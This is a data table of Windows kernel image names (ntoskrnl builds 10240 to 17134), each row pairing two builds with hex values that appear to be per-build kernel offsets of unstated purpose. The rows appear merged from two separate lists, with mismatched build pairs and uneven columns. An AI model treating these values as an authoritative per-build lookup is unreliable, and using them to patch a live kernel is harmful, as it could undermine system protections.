42 ntoskrnl_10586-1177.exe ntoskrnl_10240-19145.exe 3161c0 3664e0 315fc0 3662e0 315dc0 3660e0 6b2 0 20 50 3cc228 3cc248 c8
43 ntoskrnl_10586-1295.exe ntoskrnl_10586-0.exe 3161c0 317180 315fc0 316f80 315dc0 316d80 6b2 0 20 50 37f228 37f248 c8
44 ntoskrnl_10586-1356.exe ntoskrnl_10586-1177.exe 31a2c0 3161c0 31a0c0 315fc0 319ec0 315dc0 6ba 6b2 0 20 50 37e228 37e248 c8
45 ntoskrnl_10586-1417.exe ntoskrnl_10586-1295.exe 31a2c0 3161c0 31a0c0 315fc0 319ec0 315dc0 6ba 6b2 0 20 50 37e228 37e248 c8
46 ntoskrnl_10586-1478.exe ntoskrnl_10586-1176.exe 31a2c0 3161c0 31a0c0 315fc0 319ec0 315dc0 6ba 6b2 0 20 50 37e228 37e248 c8
47 ntoskrnl_10586-1540.exe ntoskrnl_10240-19235.exe 31a300 366520 31a100 366320 319f00 366120 6ba 6b2 0 20 50 3cc228 3cc248 c8
48 ntoskrnl_14393-0.exe ntoskrnl_10586-1356.exe 33bba0 31a2c0 33b9a0 31a0c0 33b7a0 319ec0 6c2 6ba 0 20 50 382228 382248 c8
49 ntoskrnl_14393-1198.exe ntoskrnl_10586-1417.exe 335860 31a2c0 335660 31a0c0 335460 319ec0 6c2 6ba 0 20 50 382228 382248 c8
50 ntoskrnl_14393-1532.exe ntoskrnl_10586-1478.exe 3348a0 31a2c0 3346a0 31a0c0 3344a0 319ec0 6c2 6ba 0 20 50 382228 382248 c8
51 ntoskrnl_14393-1670.exe ntoskrnl_10586-1540.exe 3348a0 31a300 3346a0 31a100 3344a0 319f00 6c2 6ba 0 20 50 382228 382248 c8
52 ntoskrnl_14393-1737.exe ntoskrnl_14393-2214.exe 3348a0 33ea20 3346a0 33e820 3344a0 33e620 6c2 6ca 0 20 50 3ab210 3ab230 c8
53 ntoskrnl_14393-1770.exe ntoskrnl_14393-1198.exe 3348a0 335860 3346a0 335660 3344a0 335460 6c2 0 20 50 3a1210 3a1230 c8
54 ntoskrnl_14393-2189.exe ntoskrnl_14393-1670.exe 33ea20 3348a0 33e820 3346a0 33e620 3344a0 6ca 6c2 0 20 50 3a0210 3a0230 c8
55 ntoskrnl_14393-2214.exe ntoskrnl_14393-1770.exe 33ea20 3348a0 33e820 3346a0 33e620 3344a0 6ca 6c2 0 20 50 3a0210 3a0230 c8
56 ntoskrnl_14393-2248.exe ntoskrnl_14393-0.exe 33da60 33bba0 33d860 33b9a0 33d660 33b7a0 6ca 6c2 0 20 50 3a8210 3a8230 c8
57 ntoskrnl_14393-2273.exe ntoskrnl_14393-1532.exe 33da60 3348a0 33d860 3346a0 33d660 3344a0 6ca 6c2 0 20 50 3a0210 3a0230 c8
58 ntoskrnl_14393-2312.exe ntoskrnl_14393-2189.exe 33ca20 33ea20 33c820 33e820 33c620 33e620 6ca 0 20 50 3ab210 3ab230 c8
59 ntoskrnl_14393-2363.exe ntoskrnl_14393-2248.exe 33ca20 33da60 33c820 33d860 33c620 33d660 6ca 0 20 50 3aa250 3aa270 c8
60 ntoskrnl_14393-2395.exe ntoskrnl_14393-1737.exe 33bb60 3348a0 33b960 3346a0 33b760 3344a0 6ca 6c2 0 20 50 3a0210 3a0230 c8
61 ntoskrnl_14393-2430.exe ntoskrnl_14393-2273.exe 338b60 33da60 338960 33d860 338760 33d660 6ca 0 20 50 3aa250 3aa270 c8
62 ntoskrnl_14393-2485.exe ntoskrnl_14393-2363.exe 338b20 33ca20 338920 33c820 338720 33c620 6ca 0 20 50 3a9250 3a9278 c8
63 ntoskrnl_14393-2551.exe ntoskrnl_14393-2312.exe 338b20 33ca20 338920 33c820 338720 33c620 6ca 0 20 50 3a9250 3a9278 c8
64 ntoskrnl_14393-2580.exe ntoskrnl_14393-2430.exe 338b20 338b60 338920 338960 338720 338760 6ca 0 20 50 3a5250 3a5278 c8
65 ntoskrnl_14393-2608.exe ntoskrnl_14393-2485.exe 338b20 338920 338720 6ca 0 20 50 3a5250 3a5278 c8
66 ntoskrnl_14393-2636.exe ntoskrnl_14393-2395.exe 338be0 33bb60 3389e0 33b960 3387e0 33b760 6ca 0 20 50 3a8250 3a8278 c8
67 ntoskrnl_14393-2665.exe ntoskrnl_14393-2580.exe 338be0 338b20 3389e0 338920 3387e0 338720 6ca 0 20 50 3a5250 3a5278 c8
68 ntoskrnl_14393-2724.exe ntoskrnl_14393-2551.exe 338be0 338b20 3389e0 338920 3387e0 338720 6ca 0 20 50 3a5250 3a5278 c8
69 ntoskrnl_14393-2791.exe ntoskrnl_14393-2636.exe 338b20 338be0 338920 3389e0 338720 3387e0 6ca 0 20 50 3a5250 3a5278 c8
70 ntoskrnl_14393-2848.exe ntoskrnl_14393-2608.exe 338b20 338920 338720 6ca 0 20 50 3a5250 3a5278 c8
71 ntoskrnl_14393-2906.exe ntoskrnl_14393-2665.exe 338b20 338be0 338920 3389e0 338720 3387e0 6ca 0 20 50 3a5250 3a5278 c8
72 ntoskrnl_14393-2969.exe ntoskrnl_14393-2724.exe 339a20 338be0 339820 3389e0 339620 3387e0 6ca 0 20 50 3a5250 3a5278 c8
73 ntoskrnl_14393-3085.exe ntoskrnl_14393-2791.exe 339a20 338b20 339820 338920 339620 338720 6ca 0 20 50 3a5250 3a5278 c8
74 ntoskrnl_14393-3115.exe ntoskrnl_14393-2969.exe 339a20 339820 339620 6ca 0 20 50 3a6250 3a6278 c8
75 ntoskrnl_14393-3143.exe ntoskrnl_14393-2906.exe 339a20 338b20 339820 338920 339620 338720 6ca 0 20 50 3a5250 3a5278 c8
76 ntoskrnl_14393-3204.exe ntoskrnl_14393-2848.exe 339a20 338b20 339820 338920 339620 338720 6ca 0 20 50 3a5250 3a5278 c8
77 ntoskrnl_14393-3241.exe ntoskrnl_14393-3204.exe 339a60 339a20 339860 339820 339660 339620 6ca 0 20 50 3a6250 3a6278 c8
78 ntoskrnl_14393-3269.exe ntoskrnl_14393-3085.exe 339a60 339a20 339860 339820 339660 339620 6ca 0 20 50 3a6250 3a6278 c8
79 ntoskrnl_14393-3297.exe ntoskrnl_14393-3115.exe 339a60 339a20 339860 339820 339660 339620 6ca 0 20 50 3a6250 3a6278 c8
80 ntoskrnl_14393-3321.exe ntoskrnl_14393-3269.exe 339a60 339860 339660 6ca 0 20 50 3a6250 3a6278 c8
81 ntoskrnl_14393-3383.exe ntoskrnl_14393-3143.exe 339a60 339a20 339860 339820 339660 339620 6ca 0 20 50 3a6250 3a6278 c8
82 ntoskrnl_14393-3442.exe ntoskrnl_14393-3241.exe 339a60 339860 339660 6ca 0 20 50 3a6250 3a6278 c8
83 ntoskrnl_14393-3471.exe ntoskrnl_14393-3297.exe 33ae60 339a60 33ac60 339860 33aa60 339660 6ca 0 20 50 3a6250 3a6278 c8
84 ntoskrnl_14393-3503.exe ntoskrnl_14393-3321.exe 33aee0 339a60 33ace0 339860 33aae0 339660 6ca 0 20 50 3a6250 3a6278 c8
85 ntoskrnl_14393-3541.exe ntoskrnl_14393-3383.exe 33aee0 339a60 33ace0 339860 33aae0 339660 6ca 0 20 50 3a6250 3a6278 c8
86 ntoskrnl_14393-3564.exe ntoskrnl_14393-3442.exe 33aee0 339a60 33ace0 339860 33aae0 339660 6ca 0 20 50 3a6250 3a6278 c8
87 ntoskrnl_14393-3595.exe ntoskrnl_14393-3471.exe 33aee0 33ae60 33ace0 33ac60 33aae0 33aa60 6ca 0 20 50 3a7250 3a7278 c8
88 ntoskrnl_14393-3630.exe ntoskrnl_14393-3564.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
89 ntoskrnl_14393-3659.exe ntoskrnl_14393-3503.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
90 ntoskrnl_14393-3686.exe ntoskrnl_14393-3541.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
91 ntoskrnl_14393-3750.exe ntoskrnl_14393-3595.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
92 ntoskrnl_14393-3755.exe ntoskrnl_14393-3630.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
93 ntoskrnl_14393-3808.exe ntoskrnl_14393-3686.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
94 ntoskrnl_14393-3866.exe ntoskrnl_14393-3755.exe 33ae60 33aee0 33ac60 33ace0 33aa60 33aae0 6ca 0 20 50 3a7250 3a7278 c8
95 ntoskrnl_14393-3930.exe ntoskrnl_14393-3808.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
96 ntoskrnl_14393-3986.exe ntoskrnl_14393-3750.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
97 ntoskrnl_14393-4046.exe ntoskrnl_14393-3659.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
98 ntoskrnl_14393-4104.exe ntoskrnl_14393-3930.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
99 ntoskrnl_14393-4169.exe ntoskrnl_14393-3866.exe 33aee0 33ae60 33ace0 33ac60 33aae0 33aa60 6ca 0 20 50 3a7250 3a7278 c8
100 ntoskrnl_14393-4225.exe ntoskrnl_14393-3986.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
101 ntoskrnl_14393-4283.exe ntoskrnl_14393-4104.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
102 ntoskrnl_14393-4350.exe ntoskrnl_14393-4046.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
103 ntoskrnl_14393-4402.exe ntoskrnl_14393-4169.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
104 ntoskrnl_14393-4467.exe ntoskrnl_14393-4225.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
105 ntoskrnl_14393-4470.exe ntoskrnl_14393-4283.exe 33aee0 33ace0 33aae0 6ca 0 20 50 3a7250 3a7278 c8
106 ntoskrnl_14393-4530.exe ntoskrnl_14393-4350.exe 33ae60 33aee0 33ac60 33ace0 33aa60 33aae0 6ca 0 20 50 3a7250 3a7278 c8
107 ntoskrnl_14393-4583.exe ntoskrnl_14393-4402.exe 33ae60 33aee0 33ac60 33ace0 33aa60 33aae0 6ca 0 20 50 3a7250 3a7278 c8
108 ntoskrnl_14393-4651.exe ntoskrnl_14393-4467.exe 33ae60 33aee0 33ac60 33ace0 33aa60 33aae0 6ca 0 20 50 3a7250 3a7278 c8
109 ntoskrnl_14393-576.exe ntoskrnl_14393-4470.exe 33bca0 33aee0 33baa0 33ace0 33b8a0 33aae0 6c2 6ca 0 20 50 3a7250 3a7278 c8
110 ntoskrnl_14393-726.exe ntoskrnl_14393-4583.exe 335860 33ae60 335660 33ac60 335460 33aa60 6c2 6ca 0 20 50 3a7250 3a7278 c8
111 ntoskrnl_14393-953.exe ntoskrnl_14393-4530.exe 335860 33ae60 335660 33ac60 335460 33aa60 6c2 6ca 0 20 50 3a7250 3a7278 c8
112 ntoskrnl_15063-0.exe ntoskrnl_14393-4651.exe 382290 33ae60 382090 33ac60 381e90 33aa60 6ca 341ea8 0 20 50 3a7250 3a7278 c8
113 ntoskrnl_15063-1029.exe ntoskrnl_14393-4704.exe 389550 339e60 389350 339c60 389150 339a60 6ca 348fa8 0 20 50 3a6250 3a6278 c8
114 ntoskrnl_15063-1088.exe ntoskrnl_14393-4770.exe 3894d0 339e60 3892d0 339c60 3890d0 339a60 6ca 348fb8 0 20 50 3a6250 3a6278 c8
115 ntoskrnl_15063-1155.exe ntoskrnl_14393-4825.exe 387510 339e60 387310 339c60 387110 339a60 6ca 346f68 0 20 50 3a6250 3a6278 c8
116 ntoskrnl_15063-1206.exe ntoskrnl_14393-4771.exe 387510 339e60 387310 339c60 387110 339a60 6ca 346f68 0 20 50 3a6250 3a6278 c8
117 ntoskrnl_15063-1266.exe ntoskrnl_14393-4827.exe 384410 339e60 384210 339c60 384010 339a60 6ca 343f48 0 20 50 3a6250 3a6278 c8
118 ntoskrnl_15063-13.exe ntoskrnl_14393-4889.exe 382290 33ade0 382090 33abe0 381e90 33a9e0 6ca 341ea8 0 20 50 3a7250 3a7278 c8
119 ntoskrnl_15063-1324.exe ntoskrnl_14393-4946.exe 385490 33ade0 385290 33abe0 385090 33a9e0 6ca 344f88 0 20 50 3a7250 3a7278 c8
120 ntoskrnl_15063-1387.exe ntoskrnl_14393-5006.exe 385490 33ae60 385290 33ac60 385090 33aa60 6ca 344f98 0 20 50 3a7250 3a7278 c8
121 ntoskrnl_15063-1418.exe ntoskrnl_14393-4886.exe 385490 33ade0 385290 33abe0 385090 33a9e0 6ca 344f98 0 20 50 3a7250 3a7278 c8
122 ntoskrnl_15063-1446.exe ntoskrnl_14393-5066.exe 385490 33ae60 385290 33ac60 385090 33aa60 6ca 344fa8 0 20 50 3a7250 3a7278 c8
123 ntoskrnl_15063-1478.exe ntoskrnl_14393-5125.exe 385450 33ae60 385250 33ac60 385050 33aa60 6ca 344f68 0 20 50 3a7250 3a7278 c8
124 ntoskrnl_15063-1563.exe ntoskrnl_14393-5192.exe 385450 33ae60 385250 33ac60 385050 33aa60 6ca 344f68 0 20 50 3a7250 3a7278 c8
125 ntoskrnl_15063-1596.exe ntoskrnl_14393-5246.exe 385450 33ae60 385250 33ac60 385050 33aa60 6ca 344f68 0 20 50 3a7258 3a7278 c8
126 ntoskrnl_15063-1631.exe ntoskrnl_14393-576.exe 385450 33bca0 385250 33baa0 385050 33b8a0 6ca 6c2 344f68 0 20 50 3a8210 3a8230 c8
127 ntoskrnl_15063-1689.exe ntoskrnl_14393-693.exe 3854d0 33bca0 3852d0 33baa0 3850d0 33b8a0 6ca 6c2 344fd8 0 20 50 3a8210 3a8230 c8
128 ntoskrnl_15063-1746.exe ntoskrnl_14393-726.exe 3854d0 335860 3852d0 335660 3850d0 335460 6ca 6c2 344fd8 0 20 50 3a1210 3a1230 c8
129 ntoskrnl_15063-1805.exe ntoskrnl_14393-953.exe 3853d0 335860 3851d0 335660 384fd0 335460 6ca 6c2 344e78 0 20 50 3a1210 3a1230 c8
130 ntoskrnl_15063-1928.exe ntoskrnl_15063-1155.exe 385450 387510 385250 387310 385050 387110 6ca 344e48 346f68 20 50 3e5f98 3e5fb8 c8
131 ntoskrnl_15063-1987.exe ntoskrnl_15063-1088.exe 385450 3894d0 385250 3892d0 385050 3890d0 6ca 344e48 348fb8 20 50 3e7f98 3e7fb0 c8
132 ntoskrnl_15063-2017.exe ntoskrnl_15063-1206.exe 385450 387510 385250 387310 385050 387110 6ca 344e48 346f68 20 50 3e5f98 3e5fb8 c8
133 ntoskrnl_15063-2045.exe ntoskrnl_15063-1266.exe 385350 384410 385150 384210 384f50 384010 6ca 344e48 343f48 20 50 3e2f98 3e2fb8 c8
134 ntoskrnl_15063-2076.exe ntoskrnl_15063-1029.exe 385350 389550 385150 389350 384f50 389150 6ca 344e48 348fa8 20 50 3e7f98 3e7fb0 c8
135 ntoskrnl_15063-2106.exe ntoskrnl_15063-13.exe 385350 382290 385150 382090 384f50 381e90 6ca 344e48 341ea8 20 50 3e1f98 3e1fb0 c8
136 ntoskrnl_15063-2283.exe ntoskrnl_15063-1324.exe 385410 385490 385210 385290 385010 385090 6ca 344e68 344f88 20 50 3e3f98 3e3fb8 c8
137 ntoskrnl_15063-296.exe ntoskrnl_15063-1387.exe 382290 385490 382090 385290 381e90 385090 6ca 341ea8 344f98 20 50 3e3f98 3e3fb8 c8
138 ntoskrnl_15063-674.exe ntoskrnl_15063-1418.exe 3822d0 385490 3820d0 385290 381ed0 385090 6ca 341e88 344f98 20 50 3e3f98 3e3fb8 c8
139 ntoskrnl_15063-675.exe ntoskrnl_15063-1446.exe 3822d0 385490 3820d0 385290 381ed0 385090 6ca 341e88 344fa8 20 50 3e3f98 3e3fb8 c8
140 ntoskrnl_15063-786.exe ntoskrnl_15063-1478.exe 382310 385450 382110 385250 381f10 385050 6ca 341ec8 344f68 20 50 3e3f98 3e3fb8 c8
141 ntoskrnl_15063-850.exe ntoskrnl_15063-1596.exe 389450 385450 389250 385250 389050 385050 6ca 348fb8 344f68 20 50 3e3f98 3e3fb8 c8
142 ntoskrnl_15063-909.exe ntoskrnl_15063-1563.exe 389510 385450 389310 385250 389110 385050 6ca 348fa8 344f68 20 50 3e3f98 3e3fb8 c8
143 ntoskrnl_15063-966.exe ntoskrnl_15063-1746.exe 389550 3854d0 389350 3852d0 389150 3850d0 6ca 348fa8 344fd8 20 50 3e3f98 3e3fb8 c8
144 ntoskrnl_16299-1004.exe ntoskrnl_15063-1631.exe 39fec0 385450 3a00c0 385250 39fcc0 385050 6ca 35dac0 344f68 20 50 3e3f98 3e3fb8 c8
145 ntoskrnl_16299-1029.exe ntoskrnl_15063-1805.exe 39ff00 3853d0 3a0100 3851d0 39fd00 384fd0 6ca 35dac0 344e78 20 50 3e3f98 3e3fb8 c8
146 ntoskrnl_16299-1087.exe ntoskrnl_15063-1987.exe 39ff00 385450 3a0100 385250 39fd00 385050 6ca 35dac0 344e48 20 50 3e3f98 3e3fb8 c8
147 ntoskrnl_16299-1120.exe ntoskrnl_15063-1689.exe 39ff00 3854d0 3a0100 3852d0 39fd00 3850d0 6ca 35dac0 344fd8 20 50 3e3f98 3e3fb8 c8
148 ntoskrnl_16299-1146.exe ntoskrnl_15063-1928.exe 3a0d00 385450 3a0f00 385250 3a0b00 385050 6ca 35e8a0 344e48 20 50 3e3f98 3e3fb8 c8
149 ntoskrnl_16299-1182.exe ntoskrnl_15063-2017.exe 3a0d00 385450 3a0f00 385250 3a0b00 385050 6ca 35e8a0 344e48 20 50 3e3f98 3e3fb8 c8
150 ntoskrnl_16299-1217.exe ntoskrnl_15063-2045.exe 3a1000 385350 3a0c00 385150 3a0e00 384f50 6ca 35e968 344e48 20 50 3e3f98 3e3fb8 c8
151 ntoskrnl_16299-125.exe ntoskrnl_15063-2076.exe 398a80 385350 398c80 385150 398e80 384f50 6ca 356980 344e48 20 50 3e3f98 3e3fb8 c8
152 ntoskrnl_16299-1331.exe ntoskrnl_15063-2106.exe 3a1000 385350 3a0c00 385150 3a0e00 384f50 6ca 35e968 344e48 20 50 3e3f98 3e3fb8 c8
153 ntoskrnl_16299-1364.exe ntoskrnl_15063-2283.exe 3a1000 385410 3a0c00 385210 3a0e00 385010 6ca 35e968 344e68 20 50 3e3f98 3e3fb8 c8
154 ntoskrnl_16299-1419.exe ntoskrnl_15063-674.exe 3a1040 3822d0 3a0c40 3820d0 3a0e40 381ed0 6ca 35e988 341e88 20 50 3e1f98 3e1fb0 c8
155 ntoskrnl_16299-1448.exe ntoskrnl_15063-296.exe 3a1040 382290 3a0c40 382090 3a0e40 381e90 6ca 35e988 341ea8 20 50 3e1f98 3e1fb0 c8
156 ntoskrnl_16299-15.exe ntoskrnl_15063-850.exe 398c80 389450 398e80 389250 398a80 389050 6ca 356908 348fb8 20 50 3e7f98 3e7fb0 c8
157 ntoskrnl_16299-1622.exe ntoskrnl_15063-2500.exe 3a0fc0 3853d0 3a0bc0 3851d0 3a0dc0 384fd0 6ca 35e988 344e48 20 50 3e3f98 3e3fb8 c8
158 ntoskrnl_16299-1747.exe ntoskrnl_15063-786.exe 3a0cc0 382310 3a0ec0 382110 3a0ac0 381f10 6ca 35e8c0 341ec8 20 50 3e1f98 3e1fb0 c8
159 ntoskrnl_16299-1775.exe ntoskrnl_15063-966.exe 3a0cc0 389550 3a0ec0 389350 3a0ac0 389150 6ca 35e8c0 348fa8 20 50 3e7f98 3e7fb0 c8
160 ntoskrnl_16299-19.exe ntoskrnl_15063-675.exe 398c80 3822d0 398e80 3820d0 398a80 381ed0 6ca 3568e8 341e88 20 50 3e1f98 3e1fb0 c8
161 ntoskrnl_16299-192.exe ntoskrnl_15063-909.exe 39dd40 389510 39df40 389310 39db40 389110 6ca 35b980 348fa8 20 50 3e7f98 3e7fb0 c8
162 ntoskrnl_16299-1992.exe ntoskrnl_16299-1004.exe 3a0cc0 39fec0 3a0ec0 3a00c0 3a0ac0 39fcc0 6ca 35e8c0 35dac0 20 50 4000d0 4000f8 c8
163 ntoskrnl_16299-2045.exe ntoskrnl_16299-1087.exe 3a1100 39ff00 3a0d00 3a0100 3a0f00 39fd00 6ca 35e988 35dac0 20 50 4000d0 4000f8 c8
164 ntoskrnl_16299-214.exe ntoskrnl_16299-1029.exe 39ddc0 39ff00 39dfc0 3a0100 39dbc0 39fd00 6ca 35b980 35dac0 20 50 4000d0 4000f8 c8
165 ntoskrnl_16299-2166.exe ntoskrnl_16299-1120.exe 3a1100 39ff00 3a0d00 3a0100 3a0f00 39fd00 6ca 35e988 35dac0 20 50 4000d0 4000f8 c8
166 ntoskrnl_16299-248.exe ntoskrnl_16299-1146.exe 39e100 3a0d00 39dd00 3a0f00 39df00 3a0b00 6ca 35bac8 35e8a0 20 50 4000d0 4000f8 c8
167 ntoskrnl_16299-251.exe ntoskrnl_16299-1182.exe 39e100 3a0d00 39dd00 3a0f00 39df00 3a0b00 6ca 35bac8 35e8a0 20 50 4000d0 4000f8 c8
168 ntoskrnl_16299-309.exe ntoskrnl_16299-1217.exe 39e0c0 3a1000 39dcc0 3a0c00 39dec0 3a0e00 6ca 35bae8 35e968 20 50 4010d0 4010f8 c8
169 ntoskrnl_16299-334.exe ntoskrnl_16299-125.exe 39e0c0 398a80 39dcc0 398c80 39dec0 398e80 6ca 35bac8 356980 20 50 3f90d0 3f90f0 c8
170 ntoskrnl_16299-371.exe ntoskrnl_16299-1364.exe 39ce40 3a1000 39d040 3a0c00 39cc40 3a0e00 6ca 35aa00 35e968 20 50 4010d0 4010f8 c8
171 ntoskrnl_16299-402.exe ntoskrnl_16299-1419.exe 39d0c0 3a1040 39ccc0 3a0c40 39cec0 3a0e40 6ca 35aaa8 35e988 20 50 4010d0 4010f8 c8
172 ntoskrnl_16299-431.exe ntoskrnl_16299-1448.exe 39ce00 3a1040 39d000 3a0c40 39cc00 3a0e40 6ca 35aa00 35e988 20 50 4010d0 4010f8 c8
173 ntoskrnl_16299-461.exe ntoskrnl_16299-15.exe 39d080 398c80 39cc80 398e80 39ce80 398a80 6ca 35aa88 356908 20 50 3f90d0 3f90f0 c8
174 ntoskrnl_16299-492.exe ntoskrnl_16299-1331.exe 39b080 3a1000 39ac80 3a0c00 39ae80 3a0e00 6ca 358aa8 35e968 20 50 4010d0 4010f8 c8
175 ntoskrnl_16299-522.exe ntoskrnl_16299-1622.exe 3a2f00 3a0fc0 3a3100 3a0bc0 3a2d00 3a0dc0 6ca 360ac0 35e988 20 50 4010d0 4010f8 c8
176 ntoskrnl_16299-547.exe ntoskrnl_16299-1747.exe 3a2f00 3a0cc0 3a3100 3a0ec0 3a2d00 3a0ac0 6ca 360ac0 35e8c0 20 50 4000d0 4000f8 c8
177 ntoskrnl_16299-551.exe ntoskrnl_16299-1775.exe 3a2f00 3a0cc0 3a3100 3a0ec0 3a2d00 3a0ac0 6ca 360ac0 35e8c0 20 50 4000d0 4000f8 c8
178 ntoskrnl_16299-579.exe ntoskrnl_16299-192.exe 3a2f00 39dd40 3a3100 39df40 3a2d00 39db40 6ca 360ac0 35b980 20 50 3fd0d0 3fd0f0 c8
179 ntoskrnl_16299-611.exe ntoskrnl_16299-19.exe 39fe00 398c80 3a0000 398e80 39fc00 398a80 6ca 35d9e0 3568e8 20 50 3f90d0 3f90f0 c8
180 ntoskrnl_16299-637.exe ntoskrnl_16299-2166.exe 39fe00 3a1100 3a0000 3a0d00 39fc00 3a0f00 6ca 35d9e0 35e988 20 50 4010d0 4010f8 c8
181 ntoskrnl_16299-64.exe ntoskrnl_16299-2045.exe 398c40 3a1100 398e40 3a0d00 398a40 3a0f00 6ca 3568e8 35e988 20 50 4010d0 4010f8 c8
182 ntoskrnl_16299-665.exe ntoskrnl_16299-1992.exe 39fe80 3a0cc0 3a0080 3a0ec0 39fc80 3a0ac0 6ca 35dac0 35e8c0 20 50 4000d0 4000f8 c8
183 ntoskrnl_16299-666.exe ntoskrnl_16299-214.exe 39fe80 39ddc0 3a0080 39dfc0 39fc80 39dbc0 6ca 35dac0 35b980 20 50 3fe0d0 3fe0f0 c8
184 ntoskrnl_16299-699.exe ntoskrnl_16299-309.exe 39fdc0 39e0c0 39ffc0 39dcc0 39fbc0 39dec0 6ca 35da00 35bae8 20 50 3fe0d0 3fe0f0 c8
185 ntoskrnl_16299-726.exe ntoskrnl_16299-251.exe 39fdc0 39e100 39ffc0 39dd00 39fbc0 39df00 6ca 35da00 35bac8 20 50 3fe0d0 3fe0f0 c8
186 ntoskrnl_16299-755.exe ntoskrnl_16299-248.exe 3a0080 39e100 39fc80 39dd00 39fe80 39df00 6ca 35da88 35bac8 20 50 3fe0d0 3fe0f0 c8
187 ntoskrnl_16299-785.exe ntoskrnl_16299-334.exe 39fec0 39e0c0 3a00c0 39dcc0 39fcc0 39dec0 6ca 35dac0 35bac8 20 50 3fe0d0 3fe0f0 c8
188 ntoskrnl_16299-820.exe ntoskrnl_16299-371.exe 39fec0 39ce40 3a00c0 39d040 39fcc0 39cc40 6ca 35dac0 35aa00 20 50 3fd0d0 3fd0f0 c8
189 ntoskrnl_16299-846.exe ntoskrnl_16299-431.exe 39fec0 39ce00 3a00c0 39d000 39fcc0 39cc00 6ca 35dac0 35aa00 20 50 3fd0d0 3fd0f0 c8
190 ntoskrnl_16299-904.exe ntoskrnl_16299-461.exe 39fec0 39d080 3a00c0 39cc80 39fcc0 39ce80 6ca 35dac0 35aa88 20 50 3fd0d0 3fd0f0 c8
191 ntoskrnl_16299-967.exe ntoskrnl_16299-402.exe 39fec0 39d0c0 3a00c0 39ccc0 39fcc0 39cec0 6ca 35dac0 35aaa8 20 50 3fd0d0 3fd0f0 c8
192 ntoskrnl_16299-98.exe ntoskrnl_16299-492.exe 398ec0 39b080 398ac0 39ac80 398cc0 39ae80 6ca 356980 358aa8 20 50 3fb0d0 3fb0f8 c8
193 ntoskrnl_17134-1.exe ntoskrnl_16299-522.exe 3f4ef0 3a2f00 3f50f0 3a3100 3f4cf0 3a2d00 6ca 3b2120 360ac0 20 50 4030d0 4030f8 c8
194 ntoskrnl_17134-1006.exe ntoskrnl_16299-551.exe 3e4ef0 3a2f00 3e4af0 3a3100 3e4cf0 3a2d00 6ca 3a1fc8 360ac0 20 50 4030d0 4030f8 c8
195 ntoskrnl_17134-1038.exe ntoskrnl_16299-547.exe 3e4db0 3a2f00 3e4fb0 3a3100 3e4bb0 3a2d00 6ca 3a1fe0 360ac0 20 50 4030d0 4030f8 c8
196 ntoskrnl_17134-1067.exe ntoskrnl_16299-637.exe 3e4f70 39fe00 3e4b70 3a0000 3e4d70 39fc00 6ca 3a1fb0 35d9e0 20 50 4000d0 4000f8 c8
197 ntoskrnl_17134-1098.exe ntoskrnl_16299-611.exe 3e4f70 39fe00 3e4b70 3a0000 3e4d70 39fc00 6ca 3a1fb0 35d9e0 20 50 4000d0 4000f8 c8
198 ntoskrnl_17134-112.exe ntoskrnl_16299-579.exe 3f1e30 3a2f00 3f2030 3a3100 3f1c30 3a2d00 6ca 3af088 360ac0 20 50 4030d0 4030f8 c8
199 ntoskrnl_17134-1130.exe ntoskrnl_16299-64.exe 3e4fb0 398c40 3e4bb0 398e40 3e4db0 398a40 6ca 3a1fb0 3568e8 20 50 3f90d0 3f90f0 c8
200 ntoskrnl_17134-1184.exe ntoskrnl_16299-665.exe 3e4fb0 39fe80 3e4bb0 3a0080 3e4db0 39fc80 6ca 3a1fb0 35dac0 20 50 4000d0 4000f8 c8
201 ntoskrnl_17134-1246.exe ntoskrnl_16299-699.exe 3e4fb0 39fdc0 3e4bb0 39ffc0 3e4db0 39fbc0 6ca 3a1fb0 35da00 20 50 4000d0 4000f8 c8
202 ntoskrnl_17134-1304.exe ntoskrnl_16299-666.exe 3e4ef0 39fe80 3e4af0 3a0080 3e4cf0 39fc80 6ca 3a1fe8 35dac0 20 50 4000d0 4000f8 c8
203 ntoskrnl_17134-1345.exe ntoskrnl_16299-726.exe 3e4db0 39fdc0 3e4fb0 39ffc0 3e4bb0 39fbc0 6ca 3a1fe0 35da00 20 50 4000d0 4000f8 c8
204 ntoskrnl_17134-1365.exe ntoskrnl_16299-755.exe 3e4e30 3a0080 3e5030 39fc80 3e4c30 39fe80 6ca 3a2000 35da88 20 50 4000d0 4000f8 c8
205 ntoskrnl_17134-137.exe ntoskrnl_16299-785.exe 3f1e30 39fec0 3f2030 3a00c0 3f1c30 39fcc0 6ca 3af088 35dac0 20 50 4000d0 4000f8 c8
206 ntoskrnl_17134-1425.exe ntoskrnl_16299-820.exe 3e4e30 39fec0 3e5030 3a00c0 3e4c30 39fcc0 6ca 3a2000 35dac0 20 50 4000d0 4000f8 c8
207 ntoskrnl_17134-1488.exe ntoskrnl_16299-846.exe 3e4db0 39fec0 3e4fb0 3a00c0 3e4bb0 39fcc0 6ca 3a1fe0 35dac0 20 50 4000d0 4000f8 c8
208 ntoskrnl_17134-1550.exe ntoskrnl_16299-98.exe 3e4db0 398ec0 3e4fb0 398ac0 3e4bb0 398cc0 6ca 3a1fe0 356980 20 50 3f90d0 3f90f0 c8
209 ntoskrnl_17134-1610.exe ntoskrnl_16299-904.exe 3e4db0 39fec0 3e4fb0 3a00c0 3e4bb0 39fcc0 6ca 3a1fe0 35dac0 20 50 4000d0 4000f8 c8
